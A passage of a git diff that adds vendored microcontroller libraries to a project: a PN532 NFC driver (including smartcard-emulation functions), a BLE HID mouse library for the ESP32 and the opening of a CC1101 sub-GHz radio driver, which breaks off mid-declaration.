+/**************************************************************************/ +bool Adafruit_PN532::readack() { + uint8_t ackbuff[6]; + + if (spi_dev) { + uint8_t cmd = PN532_SPI_DATAREAD; + spi_dev->write_then_read(&cmd, 1, ackbuff, 6); + } else if (i2c_dev || ser_dev) { + readdata(ackbuff, 6); + } + + return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6)); +} + +/**************************************************************************/ +/*! + @brief Return true if the PN532 is ready with a response. +*/ +/**************************************************************************/ +bool Adafruit_PN532::isready() { + if (spi_dev) { + // SPI ready check via Status Request + uint8_t cmd = PN532_SPI_STATREAD; + uint8_t reply; + spi_dev->write_then_read(&cmd, 1, &reply, 1); + return reply == PN532_SPI_READY; + } else if (i2c_dev) { + // I2C ready check via reading RDY byte + uint8_t rdy[1]; + i2c_dev->read(rdy, 1); + return rdy[0] == PN532_I2C_READY; + } else if (ser_dev) { + // Serial ready check based on non-zero read buffer + return (ser_dev->available() != 0); + } else if (_irq != -1) { + uint8_t x = digitalRead(_irq); + return x == 0; + } + return false; +} + +/**************************************************************************/ +/*! + @brief Waits until the PN532 is ready. + + @param timeout Timeout before giving up +*/ +/**************************************************************************/ +bool Adafruit_PN532::waitready(uint16_t timeout) { + uint16_t timer = 0; + while (!isready()) { + if (timeout != 0) { + timer += 10; + if (timer > timeout) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println("TIMEOUT!"); +#endif + return false; + } + } + delay(10); + } + return true; +} + +/**************************************************************************/ +/*! + @brief Reads n bytes of data from the PN532 via SPI or I2C. + + @param buff Pointer to the buffer where data will be written + @param n Number of bytes to be read +*/ +/**************************************************************************/ +void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) { + if (spi_dev) { + // SPI read + uint8_t cmd = PN532_SPI_DATAREAD; + spi_dev->write_then_read(&cmd, 1, buff, n); + } else if (i2c_dev) { + // I2C read + uint8_t rbuff[n + 1]; // +1 for leading RDY byte + i2c_dev->read(rbuff, n + 1); + for (uint8_t i = 0; i < n; i++) { + buff[i] = rbuff[i + 1]; + } + } else if (ser_dev) { + // Serial read + ser_dev->readBytes(buff, n); + } +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Reading: ")); + for (uint8_t i = 0; i < n; i++) { + PN532DEBUGPRINT.print(F(" 0x")); + PN532DEBUGPRINT.print(buff[i], HEX); + } + PN532DEBUGPRINT.println(); +#endif +} + +/**************************************************************************/ +/*! + @brief set the PN532 as iso14443a Target behaving as a SmartCard + @return true on success, false otherwise. + @note Author: Salvador Mendoza (salmg.net) new functions: + -AsTarget + -getDataTarget + -setDataTarget +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::AsTarget() { + pn532_packetbuffer[0] = 0x8C; + uint8_t target[] = { + 0x8C, // INIT AS TARGET + 0x00, // MODE -> BITFIELD + 0x08, 0x00, // SENS_RES - MIFARE PARAMS + 0xdc, 0x44, 0x20, // NFCID1T + 0x60, // SEL_RES + 0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES + 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0, + 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD + 0xff, 0xff, // SYSTEM CODE + 0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, + 0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES + 0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f, + 0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES + }; + if (!sendCommandCheckAck(target, sizeof(target))) + return false; + + // read data packet + readdata(pn532_packetbuffer, 8); + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} +/**************************************************************************/ +/*! + @brief Retrieve response from the emulation mode + + @param cmd = data + @param cmdlen = data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) { + uint8_t length; + pn532_packetbuffer[0] = 0x86; + if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) { + PN532DEBUGPRINT.println(F("Error en ack")); + return false; + } + + // read data packet + readdata(pn532_packetbuffer, 64); + length = pn532_packetbuffer[3] - 3; + + // if (length > *responseLength) {// Bug, should avoid it in the reading + // target data + // length = *responseLength; // silent truncation... + //} + + for (int i = 0; i < length; ++i) { + cmd[i] = pn532_packetbuffer[8 + i]; + } + *cmdlen = length; + return true; +} + +/**************************************************************************/ +/*! + @brief Set data in PN532 in the emulation mode + + @param cmd = data + @param cmdlen = data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) { + uint8_t length; + // cmd1[0] = 0x8E; Must! + + if (!sendCommandCheckAck(cmd, cmdlen)) + return false; + + // read data packet + readdata(pn532_packetbuffer, 8); + length = pn532_packetbuffer[3] - 3; + for (int i = 0; i < length; ++i) { + cmd[i] = pn532_packetbuffer[8 + i]; + } + // cmdl = 0 + cmdlen = length; + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} + +/**************************************************************************/ +/*! + @brief Writes a command to the PN532, automatically inserting the + preamble and required frame details (checksum, len, etc.) + + @param cmd Pointer to the command buffer + @param cmdlen Command length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::writecommand(uint8_t *cmd, uint8_t cmdlen) { + if (spi_dev) { + // SPI command write. + uint8_t checksum; + uint8_t packet[9 + cmdlen]; + uint8_t *p = packet; + cmdlen++; + + p[0] = PN532_SPI_DATAWRITE; + p++; + + p[0] = PN532_PREAMBLE; + p++; + p[0] = PN532_STARTCODE1; + p++; + p[0] = PN532_STARTCODE2; + p++; + checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2; + + p[0] = cmdlen; + p++; + p[0] = ~cmdlen + 1; + p++; + + p[0] = PN532_HOSTTOPN532; + p++; + checksum += PN532_HOSTTOPN532; + + for (uint8_t i = 0; i < cmdlen - 1; i++) { + p[0] = cmd[i]; + p++; + checksum += cmd[i]; + } + + p[0] = ~checksum; + p++; + p[0] = PN532_POSTAMBLE; + p++; + +#ifdef PN532DEBUG + Serial.print("Sending : "); + for (int i = 1; i < 8 + cmdlen; i++) { + Serial.print("0x"); + Serial.print(packet[i], HEX); + Serial.print(", "); + } + Serial.println(); +#endif + + spi_dev->write(packet, 8 + cmdlen); + } else if (i2c_dev || ser_dev) { + // I2C or Serial command write. + uint8_t packet[8 + cmdlen]; + uint8_t LEN = cmdlen + 1; + + packet[0] = PN532_PREAMBLE; + packet[1] = PN532_STARTCODE1; + packet[2] = PN532_STARTCODE2; + packet[3] = LEN; + packet[4] = ~LEN + 1; + packet[5] = PN532_HOSTTOPN532; + uint8_t sum = 0; + for (uint8_t i = 0; i < cmdlen; i++) { + packet[6 + i] = cmd[i]; + sum += cmd[i]; + } + packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1; + packet[7 + cmdlen] = PN532_POSTAMBLE; + +#ifdef PN532DEBUG + Serial.print("Sending : "); + for (int i = 1; i < 8 + cmdlen; i++) { + Serial.print("0x"); + Serial.print(packet[i], HEX); + Serial.print(", "); + } + Serial.println(); +#endif + + if (i2c_dev) { + i2c_dev->write(packet, 8 + cmdlen); + } else { + ser_dev->write(packet, 8 + cmdlen); + } + } +} diff --git a/src/libs/Adafruit_PN532.h b/src/libs/Adafruit_PN532.h new file mode 100644 index 0000000..f59e576 --- /dev/null +++ b/src/libs/Adafruit_PN532.h @@ -0,0 +1,223 @@ +/**************************************************************************/ +/*! + @file Adafruit_PN532.h + + v2.0 - Refactored to add I2C support from Adafruit_NFCShield_I2C library. + + v1.1 - Added full command list + - Added 'verbose' mode flag to constructor to toggle debug output + - Changed readPassiveTargetID() to return variable length values +*/ +/**************************************************************************/ + +#ifndef ADAFRUIT_PN532_H +#define ADAFRUIT_PN532_H + +#include "Arduino.h" + +#include +#include + +#define PN532_PREAMBLE (0x00) ///< Command sequence start, byte 1/3 +#define PN532_STARTCODE1 (0x00) ///< Command sequence start, byte 2/3 +#define PN532_STARTCODE2 (0xFF) ///< Command sequence start, byte 3/3 +#define PN532_POSTAMBLE (0x00) ///< EOD + +#define PN532_HOSTTOPN532 (0xD4) ///< Host-to-PN532 +#define PN532_PN532TOHOST (0xD5) ///< PN532-to-host + +// PN532 Commands +#define PN532_COMMAND_DIAGNOSE (0x00) ///< Diagnose +#define PN532_COMMAND_GETFIRMWAREVERSION (0x02) ///< Get firmware version +#define PN532_COMMAND_GETGENERALSTATUS (0x04) ///< Get general status +#define PN532_COMMAND_READREGISTER (0x06) ///< Read register +#define PN532_COMMAND_WRITEREGISTER (0x08) ///< Write register +#define PN532_COMMAND_READGPIO (0x0C) ///< Read GPIO +#define PN532_COMMAND_WRITEGPIO (0x0E) ///< Write GPIO +#define PN532_COMMAND_SETSERIALBAUDRATE (0x10) ///< Set serial baud rate +#define PN532_COMMAND_SETPARAMETERS (0x12) ///< Set parameters +#define PN532_COMMAND_SAMCONFIGURATION (0x14) ///< SAM configuration +#define PN532_COMMAND_POWERDOWN (0x16) ///< Power down +#define PN532_COMMAND_RFCONFIGURATION (0x32) ///< RF config +#define PN532_COMMAND_RFREGULATIONTEST (0x58) ///< RF regulation test +#define PN532_COMMAND_INJUMPFORDEP (0x56) ///< Jump for DEP +#define PN532_COMMAND_INJUMPFORPSL (0x46) ///< Jump for PSL +#define PN532_COMMAND_INLISTPASSIVETARGET (0x4A) ///< List passive target +#define PN532_COMMAND_INATR (0x50) ///< ATR +#define PN532_COMMAND_INPSL (0x4E) ///< PSL +#define PN532_COMMAND_INDATAEXCHANGE (0x40) ///< Data exchange +#define PN532_COMMAND_INCOMMUNICATETHRU (0x42) ///< Communicate through +#define PN532_COMMAND_INDESELECT (0x44) ///< Deselect +#define PN532_COMMAND_INRELEASE (0x52) ///< Release +#define PN532_COMMAND_INSELECT (0x54) ///< Select +#define PN532_COMMAND_INAUTOPOLL (0x60) ///< Auto poll +#define PN532_COMMAND_TGINITASTARGET (0x8C) ///< Init as target +#define PN532_COMMAND_TGSETGENERALBYTES (0x92) ///< Set general bytes +#define PN532_COMMAND_TGGETDATA (0x86) ///< Get data +#define PN532_COMMAND_TGSETDATA (0x8E) ///< Set data +#define PN532_COMMAND_TGSETMETADATA (0x94) ///< Set metadata +#define PN532_COMMAND_TGGETINITIATORCOMMAND (0x88) ///< Get initiator command +#define PN532_COMMAND_TGRESPONSETOINITIATOR (0x90) ///< Response to initiator +#define PN532_COMMAND_TGGETTARGETSTATUS (0x8A) ///< Get target status + +#define PN532_RESPONSE_INDATAEXCHANGE (0x41) ///< Data exchange +#define PN532_RESPONSE_INLISTPASSIVETARGET (0x4B) ///< List passive target + +#define PN532_WAKEUP (0x55) ///< Wake + +#define PN532_SPI_STATREAD (0x02) ///< Stat read +#define PN532_SPI_DATAWRITE (0x01) ///< Data write +#define PN532_SPI_DATAREAD (0x03) ///< Data read +#define PN532_SPI_READY (0x01) ///< Ready + +//#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address +// My fucking clone board for some goddamn reason uses the address 0x28 +#define PN532_I2C_ADDRESS (0x28) +#define PN532_I2C_READBIT (0x01) ///< Read bit +#define PN532_I2C_BUSY (0x00) ///< Busy +#define PN532_I2C_READY (0x01) ///< Ready +#define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout + +#define PN532_MIFARE_ISO14443A (0x00) ///< MiFare + +// Mifare Commands +#define MIFARE_CMD_AUTH_A (0x60) ///< Auth A +#define MIFARE_CMD_AUTH_B (0x61) ///< Auth B +#define MIFARE_CMD_READ (0x30) ///< Read +#define MIFARE_CMD_WRITE (0xA0) ///< Write +#define MIFARE_CMD_TRANSFER (0xB0) ///< Transfer +#define MIFARE_CMD_DECREMENT (0xC0) ///< Decrement +#define MIFARE_CMD_INCREMENT (0xC1) ///< Increment +#define MIFARE_CMD_STORE (0xC2) ///< Store +#define MIFARE_ULTRALIGHT_CMD_WRITE (0xA2) ///< Write (MiFare Ultralight) + +// Prefixes for NDEF Records (to identify record type) +#define NDEF_URIPREFIX_NONE (0x00) ///< No prefix +#define NDEF_URIPREFIX_HTTP_WWWDOT (0x01) ///< HTTP www. prefix +#define NDEF_URIPREFIX_HTTPS_WWWDOT (0x02) ///< HTTPS www. prefix +#define NDEF_URIPREFIX_HTTP (0x03) ///< HTTP prefix +#define NDEF_URIPREFIX_HTTPS (0x04) ///< HTTPS prefix +#define NDEF_URIPREFIX_TEL (0x05) ///< Tel prefix +#define NDEF_URIPREFIX_MAILTO (0x06) ///< Mailto prefix +#define NDEF_URIPREFIX_FTP_ANONAT (0x07) ///< FTP +#define NDEF_URIPREFIX_FTP_FTPDOT (0x08) ///< FTP dot +#define NDEF_URIPREFIX_FTPS (0x09) ///< FTPS +#define NDEF_URIPREFIX_SFTP (0x0A) ///< SFTP +#define NDEF_URIPREFIX_SMB (0x0B) ///< SMB +#define NDEF_URIPREFIX_NFS (0x0C) ///< NFS +#define NDEF_URIPREFIX_FTP (0x0D) ///< FTP +#define NDEF_URIPREFIX_DAV (0x0E) ///< DAV +#define NDEF_URIPREFIX_NEWS (0x0F) ///< NEWS +#define NDEF_URIPREFIX_TELNET (0x10) ///< Telnet prefix +#define NDEF_URIPREFIX_IMAP (0x11) ///< IMAP prefix +#define NDEF_URIPREFIX_RTSP (0x12) ///< RTSP +#define NDEF_URIPREFIX_URN (0x13) ///< URN +#define NDEF_URIPREFIX_POP (0x14) ///< POP +#define NDEF_URIPREFIX_SIP (0x15) ///< SIP +#define NDEF_URIPREFIX_SIPS (0x16) ///< SIPS +#define NDEF_URIPREFIX_TFTP (0x17) ///< TFPT +#define NDEF_URIPREFIX_BTSPP (0x18) ///< BTSPP +#define NDEF_URIPREFIX_BTL2CAP (0x19) ///< BTL2CAP +#define NDEF_URIPREFIX_BTGOEP (0x1A) ///< BTGOEP +#define NDEF_URIPREFIX_TCPOBEX (0x1B) ///< TCPOBEX +#define NDEF_URIPREFIX_IRDAOBEX (0x1C) ///< IRDAOBEX +#define NDEF_URIPREFIX_FILE (0x1D) ///< File +#define NDEF_URIPREFIX_URN_EPC_ID (0x1E) ///< URN EPC ID +#define NDEF_URIPREFIX_URN_EPC_TAG (0x1F) ///< URN EPC tag +#define NDEF_URIPREFIX_URN_EPC_PAT (0x20) ///< URN EPC pat +#define NDEF_URIPREFIX_URN_EPC_RAW (0x21) ///< URN EPC raw +#define NDEF_URIPREFIX_URN_EPC (0x22) ///< URN EPC +#define NDEF_URIPREFIX_URN_NFC (0x23) ///< URN NFC + +#define PN532_GPIO_VALIDATIONBIT (0x80) ///< GPIO validation bit +#define PN532_GPIO_P30 (0) ///< GPIO 30 +#define PN532_GPIO_P31 (1) ///< GPIO 31 +#define PN532_GPIO_P32 (2) ///< GPIO 32 +#define PN532_GPIO_P33 (3) ///< GPIO 33 +#define PN532_GPIO_P34 (4) ///< GPIO 34 +#define PN532_GPIO_P35 (5) ///< GPIO 35 + +/** + * @brief Class for working with Adafruit PN532 NFC/RFID breakout boards. + */ +class Adafruit_PN532 { +public: + Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, + uint8_t ss); // Software SPI + Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI + Adafruit_PN532(uint8_t irq, uint8_t reset, + TwoWire *theWire = &Wire); // Hardware I2C + Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART + bool begin(void); + + void reset(void); + void wakeup(void); + + // Generic PN532 functions + bool SAMConfig(void); + uint32_t getFirmwareVersion(void); + bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, + uint16_t timeout = 100); + bool writeGPIO(uint8_t pinstate); + uint8_t readGPIO(void); + bool setPassiveActivationRetries(uint8_t maxRetries); + + // ISO14443A functions + bool readPassiveTargetID( + uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength, + uint16_t timeout = 0); // timeout 0 means no timeout - will block forever. + bool startPassiveTargetIDDetection(uint8_t cardbaudrate); + bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength); + bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response, + uint8_t *responseLength); + bool inListPassiveTarget(); + uint8_t AsTarget(); + uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen); + uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen); + + // Mifare Classic functions + bool mifareclassic_IsFirstBlock(uint32_t uiBlock); + bool mifareclassic_IsTrailerBlock(uint32_t uiBlock); + uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen, + uint32_t blockNumber, + uint8_t keyNumber, uint8_t *keyData); + uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data); + uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data); + uint8_t mifareclassic_FormatNDEF(void); + uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber, + uint8_t uriIdentifier, const char *url); + + // Mifare Ultralight functions + uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer); + uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data); + + // NTAG2xx functions + uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer); + uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data); + uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, + uint8_t dataLen); + + // Help functions to display formatted text + static void PrintHex(const byte *data, const uint32_t numBytes); + static void PrintHexChar(const byte *pbtData, const uint32_t numBytes); + +private: + int8_t _irq = -1, _reset = -1, _cs = -1; + int8_t _uid[7]; // ISO14443A uid + int8_t _uidLen; // uid len + int8_t _key[6]; // Mifare Classic key + int8_t _inListedTag; // Tg number of inlisted tag. + + // Low level communication functions that handle both SPI and I2C. + void readdata(uint8_t *buff, uint8_t n); + void writecommand(uint8_t *cmd, uint8_t cmdlen); + bool isready(); + bool waitready(uint16_t timeout); + bool readack(); + + Adafruit_SPIDevice *spi_dev = NULL; + Adafruit_I2CDevice *i2c_dev = NULL; + HardwareSerial *ser_dev = NULL; +}; + +#endif diff --git a/src/libs/BleConnectionStatus.cpp b/src/libs/BleConnectionStatus.cpp new file mode 100644 index 0000000..f01183b --- /dev/null +++ b/src/libs/BleConnectionStatus.cpp @@ -0,0 +1,18 @@ +#include "BleConnectionStatus.h" + +BleConnectionStatus::BleConnectionStatus(void) { +} + +void BleConnectionStatus::onConnect(BLEServer* pServer) +{ + this->connected = true; + BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); + desc->setNotifications(true); +} + +void BleConnectionStatus::onDisconnect(BLEServer* pServer) +{ + this->connected = false; + BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); + desc->setNotifications(false); +} diff --git a/src/libs/BleConnectionStatus.h b/src/libs/BleConnectionStatus.h new file mode 100644 index 0000000..b703150 --- /dev/null +++ b/src/libs/BleConnectionStatus.h @@ -0,0 +1,21 @@ +#ifndef ESP32_BLE_CONNECTION_STATUS_H +#define ESP32_BLE_CONNECTION_STATUS_H +#include "sdkconfig.h" +#if defined(CONFIG_BT_ENABLED) + +#include +#include "BLE2902.h" +#include "BLECharacteristic.h" + +class BleConnectionStatus : public BLEServerCallbacks +{ +public: + BleConnectionStatus(void); + bool connected = false; + void onConnect(BLEServer* pServer); + void onDisconnect(BLEServer* pServer); + BLECharacteristic* inputMouse; +}; + +#endif // CONFIG_BT_ENABLED +#endif // ESP32_BLE_CONNECTION_STATUS_H diff --git a/src/libs/BleMouse.cpp b/src/libs/BleMouse.cpp new file mode 100644 index 0000000..665121e --- /dev/null +++ b/src/libs/BleMouse.cpp @@ -0,0 +1,173 @@ +#include +#include +#include +#include "BLE2902.h" +#include "BLEHIDDevice.h" +#include "HIDTypes.h" +#include "HIDKeyboardTypes.h" +#include +#include "sdkconfig.h" + +#include "BleConnectionStatus.h" +#include "BleMouse.h" + +#if defined(CONFIG_ARDUHAL_ESP_LOG) + #include "esp32-hal-log.h" + #define LOG_TAG "" +#else + #include "esp_log.h" + static const char* LOG_TAG = "BLEDevice"; +#endif + +static const uint8_t _hidReportDescriptor[] = { + USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) + USAGE(1), 0x02, // USAGE (Mouse) + COLLECTION(1), 0x01, // COLLECTION (Application) + USAGE(1), 0x01, // USAGE (Pointer) + COLLECTION(1), 0x00, // COLLECTION (Physical) + // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward) + USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button) + USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1) + USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5) + LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0) + LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1) + REPORT_SIZE(1), 0x01, // REPORT_SIZE (1) + REPORT_COUNT(1), 0x05, // REPORT_COUNT (5) + HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits + // ------------------------------------------------- Padding + REPORT_SIZE(1), 0x03, // REPORT_SIZE (3) + REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) + HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding + // ------------------------------------------------- X/Y position, Wheel + USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) + USAGE(1), 0x30, // USAGE (X) + USAGE(1), 0x31, // USAGE (Y) + USAGE(1), 0x38, // USAGE (Wheel) + LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) + LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) + REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) + REPORT_COUNT(1), 0x03, // REPORT_COUNT (3) + HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel) + // ------------------------------------------------- Horizontal wheel + USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices) + USAGE(2), 0x38, 0x02, // USAGE (AC Pan) + LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) + LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) + REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) + REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) + HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel) + END_COLLECTION(0), // END_COLLECTION + END_COLLECTION(0) // END_COLLECTION +}; + +BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) : + _buttons(0), + hid(0) +{ + this->deviceName = deviceName; + this->deviceManufacturer = deviceManufacturer; + this->batteryLevel = batteryLevel; + this->connectionStatus = new BleConnectionStatus(); +} + +void BleMouse::begin(void) +{ + xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL); +} + +void BleMouse::end(void) +{ +} + +void BleMouse::click(uint8_t b) +{ + _buttons = b; + move(0,0,0,0); + _buttons = 0; + move(0,0,0,0); +} + +void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel) +{ + if (this->isConnected()) + { + uint8_t m[5]; + m[0] = _buttons; + m[1] = x; + m[2] = y; + m[3] = wheel; + m[4] = hWheel; + this->inputMouse->setValue(m, 5); + this->inputMouse->notify(); + } +} + +void BleMouse::buttons(uint8_t b) +{ + if (b != _buttons) + { + _buttons = b; + move(0,0,0,0); + } +} + +void BleMouse::press(uint8_t b) +{ + buttons(_buttons | b); +} + +void BleMouse::release(uint8_t b) +{ + buttons(_buttons & ~b); +} + +bool BleMouse::isPressed(uint8_t b) +{ + if ((b & _buttons) > 0) + return true; + return false; +} + +bool BleMouse::isConnected(void) { + return this->connectionStatus->connected; +} + +void BleMouse::setBatteryLevel(uint8_t level) { + this->batteryLevel = level; + if (hid != 0) + this->hid->setBatteryLevel(this->batteryLevel); +} + +void BleMouse::taskServer(void* pvParameter) { + BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast(pvParameter); + BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str())); + BLEServer *pServer = BLEDevice::createServer(); + pServer->setCallbacks(bleMouseInstance->connectionStatus); + + bleMouseInstance->hid = new BLEHIDDevice(pServer); + bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map + bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse; + + bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str())); + + bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210); + bleMouseInstance->hid->hidInfo(0x00,0x02); + + BLESecurity *pSecurity = new BLESecurity(); + + pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND); + + bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor)); + bleMouseInstance->hid->startServices(); + + bleMouseInstance->onStarted(pServer); + + BLEAdvertising *pAdvertising = pServer->getAdvertising(); + pAdvertising->setAppearance(HID_MOUSE); + pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID()); + pAdvertising->start(); + bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel); + + ESP_LOGD(LOG_TAG, "Advertising started!"); + vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY); +} diff --git a/src/libs/BleMouse.h b/src/libs/BleMouse.h new file mode 100644 index 0000000..8b4ab9b --- /dev/null +++ b/src/libs/BleMouse.h @@ -0,0 +1,45 @@ +#ifndef ESP32_BLE_MOUSE_H +#define ESP32_BLE_MOUSE_H +#include "sdkconfig.h" +#if defined(CONFIG_BT_ENABLED) + +#include "BleConnectionStatus.h" +#include "BLEHIDDevice.h" +#include "BLECharacteristic.h" + +#define MOUSE_LEFT 1 +#define MOUSE_RIGHT 2 +#define MOUSE_MIDDLE 4 +#define MOUSE_BACK 8 +#define MOUSE_FORWARD 16 +#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library + +class BleMouse { +private: + uint8_t _buttons; + BleConnectionStatus* connectionStatus; + BLEHIDDevice* hid; + BLECharacteristic* inputMouse; + void buttons(uint8_t b); + void rawAction(uint8_t msg[], char msgSize); + static void taskServer(void* pvParameter); +public: + BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100); + void begin(void); + void end(void); + void click(uint8_t b = MOUSE_LEFT); + void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0); + void press(uint8_t b = MOUSE_LEFT); // press LEFT by default + void release(uint8_t b = MOUSE_LEFT); // release LEFT by default + bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default + bool isConnected(void); + void setBatteryLevel(uint8_t level); + uint8_t batteryLevel; + std::string deviceManufacturer; + std::string deviceName; +protected: + virtual void onStarted(BLEServer *pServer) { }; +}; + +#endif // CONFIG_BT_ENABLED +#endif // ESP32_BLE_MOUSE_H diff --git a/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp b/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp new file mode 100644 index 0000000..5568989 --- /dev/null +++ b/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp @@ -0,0 +1,1309 @@ +/* + ELECHOUSE_CC1101.cpp - CC1101 module library + Copyright (c) 2010 Michael. + Author: Michael, + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- +*/ +#include +#include "ELECHOUSE_CC1101_SRC_DRV.h" +#include + +/****************************************************************/ +#define WRITE_BURST 0x40 //write burst +#define READ_SINGLE 0x80 //read single +#define READ_BURST 0xC0 //read burst +#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo +#define max_modul 6 + +SPIClass CCSPI(HSPI); + +byte modulation = 2; +byte frend0; +byte chan = 0; +int pa = 12; +byte last_pa; +byte SCK_PIN; +byte MISO_PIN; +byte MOSI_PIN; +byte SS_PIN; +byte GDO0; +byte GDO2; +byte SCK_PIN_M[max_modul]; +byte MISO_PIN_M[max_modul]; +byte MOSI_PIN_M[max_modul]; +byte SS_PIN_M[max_modul]; +byte GDO0_M[max_modul]; +byte GDO2_M[max_modul]; +byte gdo_set=0; +bool spi = 0; +bool ccmode = 0; +float MHz = 433.92; +byte m4RxBw = 0; +byte m4DaRa; +byte m2DCOFF; +byte m2MODFM; +byte m2MANCH; +byte m2SYNCM; +byte m1FEC; +byte m1PRE; +byte m1CHSP; +byte pc1PQT; +byte pc1CRC_AF; +byte pc1APP_ST; +byte pc1ADRCHK; +byte pc0WDATA; +byte pc0PktForm; +byte pc0CRC_EN; +byte pc0LenConf; +byte trxstate = 0; +byte clb1[2]= {24,28}; +byte clb2[2]= {31,38}; +byte clb3[2]= {65,76}; +byte clb4[2]= {77,79}; + +/****************************************************************/ +uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00}; +// -30 -20 -15 -10 0 5 7 10 +uint8_t PA_TABLE_315[8] 